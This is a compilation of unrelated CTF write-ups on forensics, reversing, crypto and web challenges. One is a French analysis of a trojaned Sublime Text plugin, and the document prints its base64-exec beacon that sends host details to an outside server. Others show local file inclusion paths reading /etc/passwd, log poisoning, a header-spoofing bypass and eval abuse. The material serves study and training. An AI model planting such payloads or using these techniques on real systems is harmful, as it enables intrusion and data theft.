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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>bytebandit</span></span><span>/</span>ROP_Crazy<span>/</span> </div> </div>
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|
**Forensics - Worm in Apple**
Enoncé
```A guy I met on the Internet wanted me to test its new ST3 plugin.
I have a bad feeling about this...
Maybe you can tell me if I'm right to be worried?
Investigate as far as you can.```
On commence avec le plugin de Sublim Text 3 : [Sources](source/DoxyDoxygen.sublime-package)
Le contenu du fichier est le suivant :
```BASHls
Context.sublime-menu doxy_libsCrashReport.hidden-tmLanguage Doxy.pyDefault (Linux).sublime-keymap Doxy.sublime-buildDefault (OSX).sublime-keymap Doxy.sublime-commandsDefault.sublime-keymap Doxy.sublime-settingsDefault.sublime-settings INI-Symbols.tmPreferencesDefault (Windows).sublime-keymap INI.tmLanguageDoxyDoxygen.sublime-package INI.tmPreferencesDoxygen.sublime-settings Main.sublime-menuDoxygen-Symbols.tmPreferences messagesDoxygen.tmLanguage messages.jsonDoxygen.tmPreferences package-metadata.json```
On récupère le plugin officiel pour le comparer avec la version fournie : https://github.com/20Tauri/DoxyDoxygen/releases
```BASHdiff origin/ officiel/Seulement dans origin/: DoxyDoxygen.sublime-packageLes sous-répertoires origin/doxy_libs et officiel/doxy_libs sont identiquesdiff origin/Doxy.py officiel/Doxy.py133,137d132< try:< import base64;A=b'IyAgICAgICAvIVwgRk9SIEVEVUNBVElPTkFMIFBVUlBPU0UgT05MWSAvIVwKQT0nNy4yemJ2LWJuMDB5cmNwNHNjdi0zcnA1MnY0OWJ2LTNuY3MyJwpCPTQ0MwpDPScwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXotLicKaW1wb3J0IHRpbWU7aW1wb3J0IHJlcXVlc3RzO2ltcG9ydCBwbGF0Zm9ybTtmcm9tIHV1aWQgaW1wb3J0IHV1aWQ0O2Zyb20gdGhyZWFkaW5nIGltcG9ydCBUaHJlYWQKZGVmIHcoKToKICAgIGksdT1zdHIodXVpZDQoKSksJ2h0dHBzOi8ve306e30ve30nLmZvcm1hdCgnJy5qb2luKFtDWyhDLmluZGV4KGUpLTB4MGQpJWxlbihDKV0gZm9yIGUgaW4gQV0pLEIsJycuam9pbihbY2hyKGVeMHg0MikgZm9yIGUgaW4gWzQ0LDQ1LDU0LDQzLDM2LDU5XV0pKQogICAgd2hpbGUgVHJ1ZTpyZXF1ZXN0cy5wb3N0KHUsanNvbj17J3V1aWQnOmksJ25vZGUnOnBsYXRmb3JtLm5vZGUoKSwncGxhdGZvcm0nOnBsYXRmb3JtLnBsYXRmb3JtKCl9KTt0aW1lLnNsZWVwKDUpCnQ9VGhyZWFkKHRhcmdldD13KQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOnQuc3RhcnQoKTt0LmpvaW4oKQplbHNlOnQuZGFlbW9uPVRydWU7dC5zdGFydCgpCg==';exec(base64.b64decode(A));< except:< pass< 738c733< __version__ = "0.63.3" ---> __version__ = "0.64.0" Les sous-répertoires origin/messages et officiel/messages sont identiquesdiff origin/messages.json officiel/messages.json2d1< "0.62.1": "messages/0.62.1.txt",6a6> "0.64.0": "messages/0.64.0.txt",Seulement dans origin/: package-metadata.jsonSeulement dans officiel/: ST3_DoxyDoxygen.sublime-package```
Un base64 est ajouté et executé dans la version du challenge.
On le décode :
```BASH
echo 'IyAgICAgICAvIVwgRk9SIEVEVUNBVElPTkFMIFBVUlBPU0UgT05MWSAvIVwKQT0nNy4yemJ2LWJuMDB5cmNwNHNjdi0zcnA1MnY0OWJ2LTNuY3MyJwpCPTQ0MwpDPScwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXotLicKaW1wb3J0IHRpbWU7aW1wb3J0IHJlcXVlc3RzO2ltcG9ydCBwbGF0Zm9ybTtmcm9tIHV1aWQgaW1wb3J0IHV1aWQ0O2Zyb20gdGhyZWFkaW5nIGltcG9ydCBUaHJlYWQKZGVmIHcoKToKICAgIGksdT1zdHIodXVpZDQoKSksJ2h0dHBzOi8ve306e30ve30nLmZvcm1hdCgnJy5qb2luKFtDWyhDLmluZGV4KGUpLTB4MGQpJWxlbihDKV0gZm9yIGUgaW4gQV0pLEIsJycuam9pbihbY2hyKGVeMHg0MikgZm9yIGUgaW4gWzQ0LDQ1LDU0LDQzLDM2LDU5XV0pKQogICAgd2hpbGUgVHJ1ZTpyZXF1ZXN0cy5wb3N0KHUsanNvbj17J3V1aWQnOmksJ25vZGUnOnBsYXRmb3JtLm5vZGUoKSwncGxhdGZvcm0nOnBsYXRmb3JtLnBsYXRmb3JtKCl9KTt0aW1lLnNsZWVwKDUpCnQ9VGhyZWFkKHRhcmdldD13KQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOnQuc3RhcnQoKTt0LmpvaW4oKQplbHNlOnQuZGFlbW9uPVRydWU7dC5zdGFydCgpCg==' | base64 -di```On obtient :
```PYTHON# /!\ FOR EDUCATIONAL PURPOSE ONLY /!\A='7.2zbv-bn00yrcp4scv-3rp52v49bv-3ncs2'B=443C='0123456789abcdefghijklmnopqrstuvwxyz-.'import time;import requests;import platform;from uuid import uuid4;from threading import Threaddef w(): i,u=str(uuid4()),'https://{}:{}/{}'.format(''.join([C[(C.index(e)-0x0d)%len(C)] for e in A]),B,''.join([chr(e^0x42) for e in [44,45,54,43,36,59]])) while True:requests.post(u,json={'uuid':i,'node':platform.node(),'platform':platform.platform()});time.sleep(5)t=Thread(target=w)if __name__ == '__main__':t.start();t.join()else:t.daemon=True;t.start()```
Le script envoi des données au format JSON sur l'url https://worm-in-apple.ctf.insecurity-insa.fr:443/notify
Si on va à la racine du site https://worm-in-apple.ctf.insecurity-insa.fr:443/ on obtient :
```HTML
<html lang="en"><head> <title>Worm in Apple - Server</title> <link rel="shortcut icon" type="image/ico" href="/favicon.ico"/></head> <body> . . . . . . .. . _.-/`/`'-._. Why are you here ? . /_..--''''_-' . . . . .` //-.__\_\.-' `..' _\\// --.___ // ___.---.._ _- /@/@\ \ ||`` `-_ .' ,\_\_/ | \_||_/ ,-._ `. ; { o / } "" `-._`. ; ; `-==-' / \_| ; | |>o<| }@@@} | | <(___<) }@@@@} | | <(___<) }@@@@@} | | <\___<) \_.?@@} | ; V`--V`__./@} ; \ tx ooo@} / \ / `. .' `-._ _.-' ``------'''''''''------`` </body></html>
```
On décode le base64 :
```BASHecho 'LyAgICAgICAgLT4geW91J3JlIGxvb2tpbicgYXQgaXQKICAgICAgICAgICAgL25vd> GlmeSAgLT4gdGhlIGJlYWNvbiBlbmRwb2ludAogICAgICAgICAgICAvZmxhZyAgIC> AtPiB0aGUgZmxhZyBlbnBvaW50Li4uIGJ1dCBkb24ndCBnZXQgdG8gY29ja3kgdGh> lcmUKICAgICAgICAgICAgICAgICAgICAgICAgYXJlIHNvbWUgcmVxdWlyZW1lbnRz> Lg==' | base64 -di```
```/ -> you're lookin' at it /notify -> the beacon endpoint /flag -> the flag enpoint... but don't get to cocky there are some requirements.```
https://worm-in-apple.ctf.insecurity-insa.fr:443/flag nous dit qu'il faut spécifier l'uuid + cookie
```PYTHON
A='7.2zbv-bn00yrcp4scv-3rp52v49bv-3ncs2'B=443C='0123456789abcdefghijklmnopqrstuvwxyz-.'import time;import requests;import platform;from uuid import uuid4;from threading import Threaddef w(): i,u=str(uuid4()),'https://{}:{}/{}'.format(''.join([C[(C.index(e)-0x0d)%len(C)] for e in A]),B,''.join([chr(e^0x42) for e in [44,45,54,43,36,59]])) r=requests.post(u,json={'uuid':i,'node':platform.node(),'platform':platform.platform()}) cookies=r.cookies uuidu="uuid="+str(i) url='https://worm-in-apple.ctf.insecurity-insa.fr:443/flag?'+uuidu req=requests.get(url,cookies=cookies) print req.textt=Thread(target=w)if __name__ == '__main__':t.start();t.join()else:t.daemon=True;t.start()
```
```FLAG
here is your reward my dear: INSA{30880b4d7e6726f5614eb57d0c6d9e7aa23e9cbbae89a6c91aebb9d0352bc53b}```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>insecurity-insa</span></span><span>/</span>Gcorp Stage 2<span>/</span> </div> </div>
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We have [file named triptych](https://github.com/KosBeg/ctf-writeups/raw/master/UIUCTF_2018/triptych)```pc@pc:~/ctfs$ file triptych triptych: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cff282fd463037bb5f9e2cb8febae912fa7603eb, not stripped```Load into disassembler or debugger. In main we have```void main(void) { char flag[25];
fgets(flag, 25, stdin); mprotect(&dword_400000, 0x1000, 7); // set RWX for range(0x400000, 0x401000) the_first(flag);}```->```void the_first(char *flag) { int i; char key[42];
strcpy(key, "lskvbsjcjflsksjcuyqocjmdnv66321i]';'falq[ "); for ( i = 0; i < 245; ++i ) *(the_second + i) ^= key[i % 42]; // dynamic decryption of the_second the_second(flag);}```the_second after decryption ->```void the_second(char *flag) { int i; char key[42];
strcpy(key, "sjdsahhhhsiojcojjvb kwvavbkdsabk||'f8923;> "); for ( i = 0; i < 245; ++i ) *(the_third + i) ^= key[i % 42]; // dynamic decryption of the_third the_third(flag);}```the_third after decryption ->```void the_third(char *flag) { int i; char key[42];
strcpy(key, "&^$^$slaivdgskg 32fir2igkgkds (*zop`~ !sia"); for ( i = 0; i < 352; ++i ) *(validate + i) ^= key[i % 42]; // and finally! dynamic decryption of validate validate(flag);}```validate ->```void validate(char *flag) { int i, j, k; char crypted[32]; char table[32];
strcpy(table, "_'qwertyuiop{}asdfghjklzxcvbnm|"); for ( i = 0; i <= 2; ++i ) { if ( flag[i] <= 94 || flag[i] > 125 ) // only small letters and _`{| exit(0); for ( j = 0; j <= 23; ++j ) flag[j] = table[flag[j] - 95]; // some encryption } strcpy(crypted, "zmu}jnd{o{f_ndo{{_hz_{ga"); for ( k = 0; k <= 24; ++k ) { if ( flag[k] != crypted[k] ) // compare crypted flag to hardcored string exit(0); } puts("haha nice!"); // we win :D}```So let's write script to decode it!```table = "_'qwertyuiop{}asdfghjklzxcvbnm|"flag = list("zmu}jnd{o{f_ndo{{_hz_{ga")for k in range(3): for i, byte in enumerate(flag): flag[i] = chr(table.find(byte) + 95)
print ''.join(flag) # flag{theres_three_of_em}``` |
---title: Byte Bandits CTF 2018 - R3M3MB3Rauthor: Crisiscategories: - hacking---I also participated in the Byte Bandits CTF this weekend. This web challenge encountered somes issues and was modified afew times from what I saw, so other people might have not done it the way I have. But anyway, here's how I did it.
The vulnerability was a local file inclusion (LFI). It was easy to find: if you visited `http://web.euristica.in/R3M3MB3R/index.php?f=../../../etc/passwd`, you would get the passwd file. The tricky thing was that `index.php` was filtered in the URL, so it was not possible to directly include it. Some PHP wrappers were activated on the server, so I managed to download the `eg.php` file that way ([http://web.euristica.in/R3M3MB3R/index.php?f=php://filter/read=convert.base64-encode/resource=eg.php](http://web.euristica.in/R3M3MB3R/index.php?f=php://filter/read=convert.base64-encode/resource=eg.php)), but nothing interesting was in it, and because of the filter you couldn't retrieve the index like this.After some time spent trying, and failing, to bypass that filter, I decided to try something else. My next idea was to include some log files from the server, in which I could inject some PHP code that would be executed when included. I've recently [read a bit on the subject](http://ly0n.me/2015/10/19/lfi-beyond-procselfenviron/), and I found several files:
```http://web.euristica.in/R3M3MB3R/index.php?f=../../../var/log/apache2/access.loghttp://web.euristica.in/R3M3MB3R/index.php?f=../../../proc/self/fd/2http://web.euristica.in/R3M3MB3R/index.php?f=../../../proc/self/fd/7```
PHP code could be injected in each of these logs files using different ways, but to get the flag I used `access.log`. They had a few issues with that file during the CTF. It was removed at some point, then was blocked, then was cleared every 30 seconds or so, and that's how it stayed until the end I believe.I injected PHP in the page by modifying my `User-Agent` header with Burp:
```phpUser-Agent: ```
A simple `ls` revealed where the flag was:
And you could then directly access it:
```jsonhttp://web.euristica.in/R3M3MB3R/S3cR3T_FL4G.txtflag{S0metim3s_it5_b3tter_to_4_GET}```
They changed the file's name later on, and it became `S3cR3T_FL4G_da456sds.txt`. Not sure why, and it might have changed some more, but that's how it was called initially anyway.With code execution, you could of course download `index.php` as well by doing `cat /var/www/html/index.php|base64`, but [there was nothing interesting in it](/medias/bytesbandit18/index.txt). |
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<title>ctf_practice/Byte_Bandits_CTF/twisted at master · st424204/ctf_practice · GitHub</title>
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# __UIUCTF 2018__ ## _xoracle_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 250 | MiKHalyCH
**Description:**
> Don't mind me, just trying out my new xor key generatornc challenges1.uiuc.tf 6464[xoracle.py](xoracle.py)
## Solution1) Firstly we need to learn how to define key length. I make first query to server. This is the message which length I need: `C1`.The length of `C1` is `1536 = 128 * 12`. The length of `K1` is between `128` and `255`. We can request `C2` with `K2`.
If `K1 XOR K2` is consists of equal parts with lendth of `128-255` symbols, then `K1` and `K2` are keys with length of `K1 XOR K2` part. ___2) If we know length of `K` for some `C`, then:
This is the how I "remove" key from message Ciphertext. Message is XORed by itself___3) Let's take `C1` and `C2`, which keys (`K1` and `K2`) length differs only by 1. Remember that we can take any two XORed parts of `M`
Now we can calculate `M[0] XOR M[i]` for all `i` in `[1,128]`. ___4) Now we can brute first byte of message and restore next `127` bytes. That's enough to restore key with length `128` and decrypt full message. ___5) Linux's `file` shows that if first byte is `0x50`, then decoded file is [zip archive](res.zip). But it's broken for `unzip`. Google recomends to use `jar xvf res.zip` and it works!Inside archive it's half-broken [f.bmp](f.bmp) with flag. After some tries to send the flag task was done!
Full solver is [here](solver.py)._____ *Thanks to Matt Dyas for this awesome task!* |
# ▼▼▼Home Sweet Home(150) 251/780=32.2％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Looks like this site is doing some IP filtering.That's very FORWARD thinking of them.
Have fun!
http://web1.sunshinectf.org:50005
Author: hackucf_levi
Update 2018-04-06 01:55 UTC: Point value decreased from 200 -> 150.```
---
**【exploit】**
`FORWARD` described in the problem sentence thought it was a hint.
↓
```GET / HTTP/1.1Host: web1.sunshinectf.org:50005X-Forwarded-For: 127.0.0.1```
↓
`sun{Th3rEs_n0_pl4cE_l1kE_127.0.0.1}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>bytebandit</span></span><span>/</span>twisted<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>bytebandit</span></span><span>/</span>twisted<span>/</span></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span>2018-04-05-sunshinectf<span>/</span> </div> </div>
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# The Vault
> Has it been days? Weeks? You can't remember how long you've been standing at the door to the vault.You can't remember the last time you sleptor ate,or had a drop of water, for that matter.But all of that is insignificant, in the presence of the untold fortunes that must lie just beyond the threshold.>>But the door. It won't budge. It says it will answer only to the DUNGEON_MASTER.Have you not shown your worth?But more than that,It demands to know your secrets.>>Nothing you've tried has worked.You've pled, begged, cursed, but the door holds steadfast, harshly judging your failed requests.>>But with each failed attempt you start to notice more and morethat there's something peculiar about the way the door responds to you.>>Maybe the door knows more than it's letting on....Or perhaps it's letting on more than it knows?>>NOTE: DO NOT USE AUTOMATED TOOLSConnecthttp://chal1.swampctf.com:2694>>-=Created By: juan=-
Following the link, we arrive at a page with a Door and username and password fields. The long challenge text gave us the username `DUNGEON_MASTER`, so let's just try to log in with `aaa` as the password and see what our browsers developer tools show :).
We get an alert stating `Invalid credential` and an HTTP 500 response```Request URL: http://chal1.swampctf.com:2694/login/DUNGEON_MASTER.aaaRequest Method: POSTStatus Code: 500 Internal Server ErrorRemote Address: 18.219.151.204:2694Referrer Policy: no-referrer-when-downgrade```The response also contained some html``` html<html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body>test_hash [9834876dcfb05cb167a5c24953eba58c4ac89b1adf57f28f2f9d09af107ee8f0] does not match real_hash[40f5d109272941b79fdf078a0e41477227a9b4047ca068fff6566104302169ce]</body></html>```Alright, the length of the hash makes me assume this is SHA256. I try hashing my input to see if the test_hash is something from my input and it is just the SHA256 hash of 'aaa'.
Maybe this hash is know, so let's look online. Now at the moment I did this I forgot I could use the findmyhash script, so I just went to different websites to check the hash. At crackstation.net I found the plaintext of the real_hash, which is `smaug123`
Trying to log in with the user 'DUNGEON_MASTER' and password ''smaug123' yields us an alert with `flag{somewhere_over_the_rainbow_tables}` |
[full writeup with script](https://ctf.hgar.xyz/2018/uiuctf/how2heap/)
Characters are stored in a binary max heap on the stack. There is a logic error in the delete method that allows for overwriting the "count" variable and then achieving arbitrary writes.
Shell is obtained by leaking libc and overwriting saved return address with magic gadget. |
# Patience (RE, 769p)
This was a haskell reversing challenge. If this doesn't fill you with dread, this means that probably either:
- you are most 1338 pr0 xakep r3v3rse engineer ever living- you don't comprehend the amount of horror that you're going to witness.
Either way, you're in for some serious fun. In fact, I've never seen anyone actually reverse engineer (non-trivial) haskell binary before - most challenges are actually solved with black-box workarounds or other side channels. This task is no different - we are given .cmm file along with compiled binary.
CMM files are dump of late-stage intermediate language from GHC. This is going to make our life way easier - we don't have to reverse haskell thunks, we have everything in plain text... well, sort of.
## How to be lazy
A word of introduction to the beautiful world of functional programming. Haskell is a lazy language. But not just your average slightly-procrastinating kind - everything is delayed as long as it possibly can be, and I mean it. For example, consider this function:
```haskellintegers n = n : integers (n+1)```
if you don't speak Haskell, this is conceptually equivalent to following python code:
```pythondef integers(n): return [n] + integers(n + 1)```
Do you see anything wrong with this code? Exactly, this is not a terribly useful function - it'll recurse forever, or rather eat all your available stack space and explode. Not in Haskell though - you can call this function, take first 100 elements of the result, and get perfectly useful result - haskell is *lazy*, so only necessary elements will be evaulated.
But this still doesn't explain just how lazy Haskell is. Consider this:
```haskellfoo (2 + 2)```
This is just invoaction of function `foo` with parameter `4`. Wait, wrong, I lied to you. The parameter is `2 + 2`, and it's not actually evaluated until it's needed. Hell, you could've passed `1 / 0` and nothing bad would happen, at least until something actually evaulates the parameter.
## Reversing
So, why the introduction? Well, this is how `main` function looks like in dump:
```==================== Output Cmm ====================[section ""data" . :Main.main_closure" { :Main.main_closure: const :Main.main_info; const 0; const 0; const 0; }, :Main.main_entry() // [R1] { info_tbl: [(c3bb, label: :Main.main_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3bb: _01D::P64 = R1; if ((Sp + 8) - 24 < SpLim) goto c3bc; else goto c3bd; c3bc: R1 = _01D::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3bd: (_c3b8::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _01D::P64); if (_c3b8::I64 == 0) goto c3ba; else goto c3b9; c3ba: call (I64[_01D::P64])() args: 8, res: 0, upd: 8; c3b9: I64[Sp - 16] = stg_bh_upd_frame_info; I64[Sp - 8] = _c3b8::I64; R2 = Main.main_closure; R1 = GHC.TopHandler.runMainIO_closure; Sp = Sp - 16; call stg_ap_p_fast(R2, R1) args: 24, res: 0, upd: 24; } }]```
Beautiful, isn't it? What's going on here? Nothing, actually. All this code does is:
```haskellrunMainIO (main_closure)```
where `main_closure` is well, closure from main. Let's dig deeper - what's inside this `main_closure`?
```haskellMain.main_entry() // [R1] { info_tbl: [(c3aW, label: Main.main_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3aW: _rFG::P64 = R1; if ((Sp + 8) - 24 < SpLim) goto c3aX; else goto c3aY; c3aX: R1 = _rFG::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3aY: (_c3aT::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _rFG::P64); if (_c3aT::I64 == 0) goto c3aV; else goto c3aU; c3aV: call (I64[_rFG::P64])() args: 8, res: 0, upd: 8; c3aU: I64[Sp - 16] = stg_bh_upd_frame_info; I64[Sp - 8] = _c3aT::I64; R5 = sat_s2Rj_closure+1; R4 = sat_s2Rf_closure; R3 = GHC.Base.$fMonadIO_closure; R2 = Data.Foldable.$fFoldable[]_closure; R1 = Data.Foldable.forM__closure; Sp = Sp - 16; call stg_ap_pppp_fast(R5, R4, R3, R2, R1) args: 24, res: 0, upd: 24; } } ```
Again, a lot of code. And again, This is equivalent to:
```haskellforM (s2Rj_closure) (s2Rf_closure)```
So, invocation of single function with two closures.
And again...
```haskell==================== Cmm produced by new codegen ====================[section ""data" . sat_s2Rf_closure" { sat_s2Rf_closure: const sat_s2Rf_info; const 0; const 0; const 0; }, sat_s2Rf_entry() // [R1] { info_tbl: [(c3aH, label: sat_s2Rf_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3aH: _s2Rf::P64 = R1; goto c3aC; c3aC: if ((old + 0) - <highSp> < SpLim) goto c3aI; else goto c3aJ; c3aI: R1 = _s2Rf::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3aJ: (_c3aE::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _s2Rf::P64); if (_c3aE::I64 == 0) goto c3aG; else goto c3aF; c3aG: call (I64[_s2Rf::P64])() args: 8, res: 0, upd: 8; c3aF: I64[(old + 24)] = stg_bh_upd_frame_info; I64[(old + 16)] = _c3aE::I64; R3 = Main.flags_closure+2; R2 = Main.idx'_closure+1; R1 = GHC.Base.map_closure; call stg_ap_pp_fast(R3, R2, R1) args: 24, res: 0, upd: 24; } }]```
Which basically means (closure names by me):
```haskellmap (idx_closure) (flags_closure)```
So again, single function invocation, with closure parameters, and a lot of junk.
I'll spare you the details - when you know what to expect (i.e. a LOT of thunks), reversing is quite straightforward (except you need a LOT of, well, *patience*).
This is the reversed code, which should be **very** similar to the original:
```haskellmodule Main where
import Data.Bitsimport Data.Charimport Control.Monadimport System.IOimport Data.Function.Memoize
s0 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&'\"()*+,-./:;<=>?@[\\]^_`{|}~"s1 = "1vI{e[8Td]-nQ.7O\"bl(jq@<0Vy&Z3~\\ps,aD^;BN9JUoh|CE2_6!G'rHuf>$S%MxgzKY4`c+WXA5F)mR}#PtL?*=i/:wk"s2 = "Bp}i{XU%f$DR\\0<Lx=o\"Sl`bz)-e62|&JqFT!(C5yh;@u*.WaZ#Qv,?cr8wEm4_t19PH:j]>[NVMn7YGkK'^/~OIdsA+3g"s3 = "_r+#yh[Y)S8aXJwV&jv\"o=I(6>pg,f-M]qbN4'EDKF\\t<3G%|$csPQm}~0@R;uU2z9iWB./HCk!{:Od^ZT7`Anl1e5L*x?"
data Index = Index Int Int
f :: Int -> [Char]f 0 = s0f arg = s1 ++ f (subtract 1 arg) ++ s2 ++ f (subtract 1 arg) ++ s3
idx :: Index -> Charidx (Index i j) = (f i !! j)
flags = [Index 0 39, Index 5 282, Index 6 16240, Index 9 162889, Index 14 523151, Index 17 5536393, Index 7616 133142712, Index 8799 122076774, Index 8656 370998818, Index 9835 12169334, Index 9023 316222630, Index 9402 20517998, Index 9509 206287754, Index 5656 439741488, Index 9020 254692819, Index 5337 505473338, Index 7860 66985734, Index 5342 343561367, Index 7797 237439774, Index 6145 303374550, Index 5842 469397741, Index 6262 125811292, Index 8861 285489743, Index 9917 203482576, Index 6210 65894981, Index 5807 160395306, Index 6950 411117612, Index 9261 130413308, Index 6224 532384558, Index 5304 107223978, Index 6533 292707045, Index 8303 284494291, Index 9948 119890013, Index 8254 430252526, Index 8249 142828351, Index 8799 452127715, Index 6071 491307991, Index 8803 154654024, Index 9328 181393976, Index 6253 103923077, Index 7886 450071326, Index 7721 342235485, Index 6802 429438438, Index 6391 504612462, Index 5300 23633538, Index 9418 315942207, Index 9873 228342978, Index 6361 510000394, Index 5816 485654100, Index 8533 347840847, Index 9931 517634651, Index 8209 122749414, Index 9873 484029647, Index 9346 273221045]
main = do forM_ (map idx flags) $ \i -> do putChar i hFlush stdout```
Not a lot of code, for huge binary that it produced, eh?
The problem is simple - `idx` function is very slow. But we can make it faster. I was too *lazy* to rewrite everything to my usual language of choice (python), so I just implemented faster version of `idx` straight in haskell:
```haskellfsize' :: Int -> Integerfsize' 0 = fromIntegral $ length s0fsize' i = 2 * fsize (i - 1) + 3 * fsize 0
fsize :: Int -> Integerfsize = memoize fsize'
idx' :: Index -> Charidx' (Index i j) = if i == 0 then s0 !! j else if fromIntegral j < fsize0 then s1 !! j else if fromIntegral j < fsize1 then idx' $ Index (i - 1) (j - fromInteger fsize0) else if fromIntegral j < fsize2 then s2 !! (j - fromInteger fsize1) else if fromIntegral j < fsize3 then idx' $ Index (i - 1) (j - fromInteger fsize2) else s3 !! (j - fromInteger fsize3) where fsize0 = fsize 0 fsize1 = fsize0 + fsize (i - 1) fsize2 = fsize1 + fsize0 fsize3 = fsize2 + fsize (i - 1)```
And that's basically it - after running reversed version, correct flag is produced in seconds:
```N1CTF{did_cmm_helped?1109ef6af4b2c6fc274ddc16ff8365d1}```
PS. Yes, it did. |
# ▼▼▼OCR - WEB 73 52/549=9.5％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Because creating real pwn challs was to mainstream, we decided to focus on the development of our equation solver using OCR. https://ocr.ctf.insecurity-insa.fr/```
---
https://ocr.ctf.insecurity-insa.fr/debug
↓
```#!/usr/bin/python3from flask import Flask,request,send_from_directory,render_template,abortimport pytesseractfrom PIL import Imagefrom re import subfrom io import BytesIOfrom flask_recaptcha import ReCaptchaapp = Flask(__name__)app.config.update( MAX_CONTENT_LENGTH = 500 * 1024)recaptcha = ReCaptcha(app=app)x = open("private/flag.txt").read()
@app.route('/',methods=['GET'])def ind(): return render_template("index.html")
@app.route('/debug',methods=['GET'])def debug(): return send_from_directory('./', "server.py")
@app.route('/equation',methods=['POST'])def equation(): if recaptcha.verify(): if 'file' not in request.files: return render_template('result.html', result = "No file uploaded") file = request.files['file'] print(file) if file and file.filename == '': return render_template('result.html', result = "No correct file uploaded") if file: input_text = pytesseract.image_to_string(Image.open(BytesIO(file.read()))) print(input_text) formated_text = "=".join(input_text.split("\n")) formated_text = formated_text.replace("=","==") formated_text = sub('===+','==',formated_text) formated_text = formated_text.replace(" ","") print(formated_text) if any(i not in 'abcdefghijklmnopqrstuvwxyz0123456789()[]=+-*' for i in formated_text): return render_template('result.html', result = "Some features are still in beta !") if formated_text.count('(') > 1 or formated_text.count(')') > 1 or formated_text.count('[') > 1 or formated_text.count(']') > 1 : return render_template('result.html', result = "We can not solve complex equations for now !") if any(i in formated_text for i in ["import","exec","compile","tesseract","chr","os","write","sleep"]): return render_template('result.html', result = "We can not understand your equation !") if len(formated_text) > 15: return render_template('result.html', result = "We can not solve complex equations for now !") try: if "==" in formated_text: parts = formated_text.split("==",maxsplit=2) pa_1 = int(eval(parts[0])) pa_2 = int(eval(parts[1])) if pa_1 == pa_2: return render_template('result.html', result = "Wow, it works !") else: return render_template('result.html', result = "Sorry but it seems that %d is not equal to %d"%(pa_1,pa_2)) else: return render_template('result.html', result = "Please import a valid equation !") except (KeyboardInterrupt, SystemExit): raise except: return render_template('result.html', result = "Something went wrong...")
@app.route('/js/<path:path>')def send_js(path): return send_from_directory('js', path)
@app.route('/css/<path:path>')def send_css(path): return send_from_directory('css', path)
@app.route('/img/<path:path>')def send_img(path): return send_from_directory('img', path)
@app.route('/private/flag.txt')def censorship(): abort(403)
if __name__ == '__main__': app.run(host="0.0.0.0")```
↓
**【Read source code】**
`x = open("private/flag.txt").read()` ⇒ flag contains `x`
`if any(i not in 'abcdefghijklmnopqrstuvwxyz0123456789()[]=+-*' for i in formated_text):` ⇒ OCR can read `abcdefghijklmnopqrstuvwxyz0123456789()[]=+-*`
`if len(formated_text) > 15:` ⇒ Up to 14 characters can be read
`pa_1 = int(eval(parts[0]))` & `pa_2 = int(eval(parts[1]))` ⇒ The left and right sides of the expression are evaluated with `eval()` and converted to `int`
```if pa_1 == pa_2: return render_template('result.html', result = "Wow, it works !") else: return render_template('result.html', result = "Sorry but it seems that %d is not equal to %d"%(pa_1,pa_2))```
⇒ If the values of the left side and the right side are different, they are displayed
---
**【exploit】**
I created an image called `ord(x[0]) = 0` and loaded it into OCR
↓
Sorry but it seems that 73 is not equal to 0 ⇒I
↓
Since I could guess `INSA {`, I got it from 5
↓
```ord(x[5]) = 0 Sorry but it seems that 48 is not equal to 0 ⇒0ord(x[6]) = 0 Sorry but it seems that 99 is not equal to 0 ⇒cord(x[7]) = 0 Sorry but it seems that 114 is not equal to 0 ⇒ｒord(x[8]) = 0 Sorry but it seems that 95 is not equal to 0 ⇒_ord(x[9]) = 0 Sorry but it seems that 76 is not equal to 0 ⇒Lord(x[10]) = 0 Sorry but it seems that 48 is not equal to 0 ⇒0ord(x[11]) = 0 Sorry but it seems that 110 is not equal to 0 ⇒nord(x[12]) = 0 Sorry but it seems that 103 is not equal to 0 ⇒gord(x[13]) = 0 Sorry but it seems that 125 is not equal to 0 ⇒}```
↓
`INSA{0cr_L0ng}` |
